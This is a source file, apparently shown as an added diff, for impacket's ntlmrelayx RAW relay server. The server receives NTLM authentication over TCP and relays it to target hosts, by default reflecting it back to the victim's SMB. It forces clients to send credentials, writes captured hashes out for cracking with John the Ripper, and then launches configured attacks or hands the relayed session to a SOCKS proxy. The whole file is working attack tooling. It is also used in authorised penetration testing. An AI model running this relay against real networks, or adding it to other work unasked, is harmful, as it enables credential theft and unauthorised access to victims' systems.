1
+ # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
2
+ #
3
+ # This software is provided under under a slightly modified version
4
+ # of the Apache Software License. See the accompanying LICENSE file
5
+ # for more information.
6
+ #
7
+ # HTTP Relay Server
8
+ #
9
+ # Authors:
10
+ # Alberto Solino (@agsolino)
11
+ # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
12
+ # Ceri Coburn (@_EthicalChaos_)
13
+ #
14
+ # Description:
15
+ # Written for lsarelax, but the RAW server can be used by any third-party NTLM relay server that would like to integrate with ntlmrelayx supported clients/attacks
16
+ import socketserver
17
+ import socket
18
+ import base64
19
+ import random
20
+ import struct
21
+ import string
22
+ from threading import Thread
23
+ from six import PY2
24
+
25
+ from impacket import ntlm , LOG
26
+ from impacket .smbserver import outputToJohnFormat , writeJohnOutputToFile
27
+ from impacket .nt_errors import STATUS_ACCESS_DENIED , STATUS_SUCCESS
28
+ from impacket .examples .ntlmrelayx .utils .targetsutils import TargetsProcessor
29
+ from impacket .examples .ntlmrelayx .servers .socksserver import activeConnections
30
+
31
+
32
+ class RAWRelayServer (Thread ):
33
+
34
+ class RAWServer (socketserver .ThreadingMixIn , socketserver .TCPServer ):
35
+
36
+ def __init__ (self , server_address , RequestHandlerClass , config ):
37
+ self .config = config
38
+ self .daemon_threads = True
39
+ #if self.config.ipv6:
40
+ # self.address_family = socket.AF_INET6
41
+
42
+ socketserver .TCPServer .__init__ (self , server_address , RequestHandlerClass )
43
+
44
+ class RAWHandler (socketserver .BaseRequestHandler ):
45
+
46
+ def __init__ (self , request , client_address , server ):
47
+ self .server = server
48
+ self .challengeMessage = None
49
+ self .target = None
50
+ self .client = None
51
+ self .machineAccount = None
52
+ self .machineHashes = None
53
+ self .domainIp = None
54
+ self .authUser = None
55
+
56
+ if self .server .config .target is None :
57
+ # Reflection mode, defaults to SMB at the target, for now
58
+ self .server .config .target = TargetsProcessor (singleTarget = 'SMB://%s:445/' % client_address [0 ])
59
+ self .target = self .server .config .target .getTarget ()
60
+ if self .target is None :
61
+ LOG .info ("RAW: Received connection from %s, but there are no more targets left!" % client_address [0 ])
62
+ return
63
+
64
+ LOG .info ("RAW: Received connection from %s, attacking target %s://%s" % (client_address [0 ] ,self .target .scheme , self .target .netloc ))
65
+
66
+ super ().__init__ (request , client_address , server )
67
+
68
+ def handle (self ):
69
+
70
+ ntlm_negotiate_len = struct .unpack ('h' , self .request .recv (2 ))
71
+ ntlm_negotiate = self .request .recv (ntlm_negotiate_len [0 ])
72
+
73
+ if not self .do_ntlm_negotiate (ntlm_negotiate ):
74
+ # Connection failed
75
+ LOG .error ('Negotiating NTLM with %s://%s failed. Skipping to next target' ,
76
+ self .target .scheme , self .target .netloc )
77
+ self .server .config .target .logTarget (self .target )
78
+
79
+ else :
80
+
81
+ ntlm_chal_token = self .challengeMessage .getData ()
82
+ self .request .sendall (struct .pack ('h' , len (ntlm_chal_token )))
83
+ self .request .sendall (ntlm_chal_token )
84
+
85
+ ntlm_auth_len = struct .unpack ('h' , self .request .recv (2 ))
86
+ ntlm_auth = self .request .recv (ntlm_auth_len [0 ])
87
+
88
+ authenticateMessage = ntlm .NTLMAuthChallengeResponse ()
89
+ authenticateMessage .fromString (ntlm_auth )
90
+
91
+ if not self .do_ntlm_auth (ntlm_auth , authenticateMessage ):
92
+
93
+ self .request .sendall (struct .pack ('h' , 1 ))
94
+ self .request .sendall (struct .pack ('?' , False ))
95
+
96
+ if authenticateMessage ['flags' ] & ntlm .NTLMSSP_NEGOTIATE_UNICODE :
97
+ LOG .error ("Authenticating against %s://%s as %s\\ %s FAILED" % (
98
+ self .target .scheme , self .target .netloc ,
99
+ authenticateMessage ['domain_name' ].decode ('utf-16le' ),
100
+ authenticateMessage ['user_name' ].decode ('utf-16le' )))
101
+ else :
102
+ LOG .error ("Authenticating against %s://%s as %s\\ %s FAILED" % (
103
+ self .target .scheme , self .target .netloc ,
104
+ authenticateMessage ['domain_name' ].decode ('ascii' ),
105
+ authenticateMessage ['user_name' ].decode ('ascii' )))
106
+ else :
107
+ # Relay worked, do whatever we want here...
108
+ self .request .sendall (struct .pack ('h' , 1 ))
109
+ self .request .sendall (struct .pack ('?' , True ))
110
+
111
+ if authenticateMessage ['flags' ] & ntlm .NTLMSSP_NEGOTIATE_UNICODE :
112
+ LOG .info ("Authenticating against %s://%s as %s\\ %s SUCCEED" % (
113
+ self .target .scheme , self .target .netloc , authenticateMessage ['domain_name' ].decode ('utf-16le' ),
114
+ authenticateMessage ['user_name' ].decode ('utf-16le' )))
115
+ else :
116
+ LOG .info ("Authenticating against %s://%s as %s\\ %s SUCCEED" % (
117
+ self .target .scheme , self .target .netloc , authenticateMessage ['domain_name' ].decode ('ascii' ),
118
+ authenticateMessage ['user_name' ].decode ('ascii' )))
119
+
120
+ ntlm_hash_data = outputToJohnFormat (self .challengeMessage ['challenge' ],
121
+ authenticateMessage ['user_name' ],
122
+ authenticateMessage ['domain_name' ],
123
+ authenticateMessage ['lanman' ], authenticateMessage ['ntlm' ])
124
+ self .client .sessionData ['JOHN_OUTPUT' ] = ntlm_hash_data
125
+
126
+ if self .server .config .outputFile is not None :
127
+ writeJohnOutputToFile (ntlm_hash_data ['hash_string' ], ntlm_hash_data ['hash_version' ],
128
+ self .server .config .outputFile )
129
+
130
+ self .server .config .target .logTarget (self .target , True , self .authUser )
131
+
132
+ self .do_attack ()
133
+
134
+ def do_ntlm_negotiate (self , token ):
135
+
136
+ if self .target .scheme .upper () in self .server .config .protocolClients :
137
+ self .client = self .server .config .protocolClients [self .target .scheme .upper ()](self .server .config , self .target )
138
+ # If connection failed, return
139
+ if not self .client .initConnection ():
140
+ return False
141
+ self .challengeMessage = self .client .sendNegotiate (token )
142
+
143
+ # Remove target NetBIOS field from the NTLMSSP_CHALLENGE
144
+ if self .server .config .remove_target :
145
+ av_pairs = ntlm .AV_PAIRS (self .challengeMessage ['TargetInfoFields' ])
146
+ del av_pairs [ntlm .NTLMSSP_AV_HOSTNAME ]
147
+ self .challengeMessage ['TargetInfoFields' ] = av_pairs .getData ()
148
+ self .challengeMessage ['TargetInfoFields_len' ] = len (av_pairs .getData ())
149
+ self .challengeMessage ['TargetInfoFields_max_len' ] = len (av_pairs .getData ())
150
+
151
+ # Check for errors
152
+ if self .challengeMessage is False :
153
+ return False
154
+ else :
155
+ LOG .error ('Protocol Client for %s not found!' % self .target .scheme .upper ())
156
+ return False
157
+
158
+ return True
159
+
160
+ def do_ntlm_auth (self , token , authenticateMessage ):
161
+
162
+ # For some attacks it is important to know the authenticated username, so we store it
163
+ if authenticateMessage ['flags' ] & ntlm .NTLMSSP_NEGOTIATE_UNICODE :
164
+ self .authUser = ('%s/%s' % (authenticateMessage ['domain_name' ].decode ('utf-16le' ),
165
+ authenticateMessage ['user_name' ].decode ('utf-16le' ))).upper ()
166
+ else :
167
+ self .authUser = ('%s/%s' % (authenticateMessage ['domain_name' ].decode ('ascii' ),
168
+ authenticateMessage ['user_name' ].decode ('ascii' ))).upper ()
169
+
170
+ if authenticateMessage ['user_name' ] != '' or self .target .hostname == '127.0.0.1' :
171
+ clientResponse , errorCode = self .client .sendAuth (token )
172
+ else :
173
+ # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials, except
174
+ # when coming from localhost
175
+ errorCode = STATUS_ACCESS_DENIED
176
+
177
+ if errorCode == STATUS_SUCCESS :
178
+ return True
179
+
180
+ return False
181
+
182
+ def do_attack (self ):
183
+ # Check if SOCKS is enabled and if we support the target scheme
184
+ if self .server .config .runSocks and self .target .scheme .upper () in self .server .config .socksServer .supportedSchemes :
185
+ # Pass all the data to the socksplugins proxy
186
+ activeConnections .put ((self .target .hostname , self .client .targetPort , self .target .scheme .upper (),
187
+ self .authUser , self .client , self .client .sessionData ))
188
+ return
189
+
190
+ # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks
191
+ if self .target .scheme .upper () in self .server .config .attacks :
192
+ # We have an attack.. go for it
193
+ clientThread = self .server .config .attacks [self .target .scheme .upper ()](self .server .config , self .client .session ,
194
+ self .authUser )
195
+ clientThread .start ()
196
+ else :
197
+ LOG .error ('No attack configured for %s' % self .target .scheme .upper ())
198
+
199
+ def __init__ (self , config ):
200
+ Thread .__init__ (self )
201
+ self .daemon = True
202
+ self .config = config
203
+ self .server = None
204
+
205
+ def run (self ):
206
+
207
+ if self .config .listeningPort :
208
+ rawport = self .config .listeningPort
209
+ else :
210
+ rawport = 6666
211
+
212
+ LOG .info ("Setting up RAW Server on port " + str (rawport ))
213
+
214
+ # changed to read from the interfaceIP set in the configuration
215
+ self .server = self .RAWServer ((self .config .interfaceIp , rawport ), self .RAWHandler , self .config )
216
+
217
+ try :
218
+ self .server .serve_forever ()
219
+ except KeyboardInterrupt :
220
+ pass
221
+ LOG .info ('Shutting down RAW Server' )
222
+ self .server .server_close ()
0 commit comments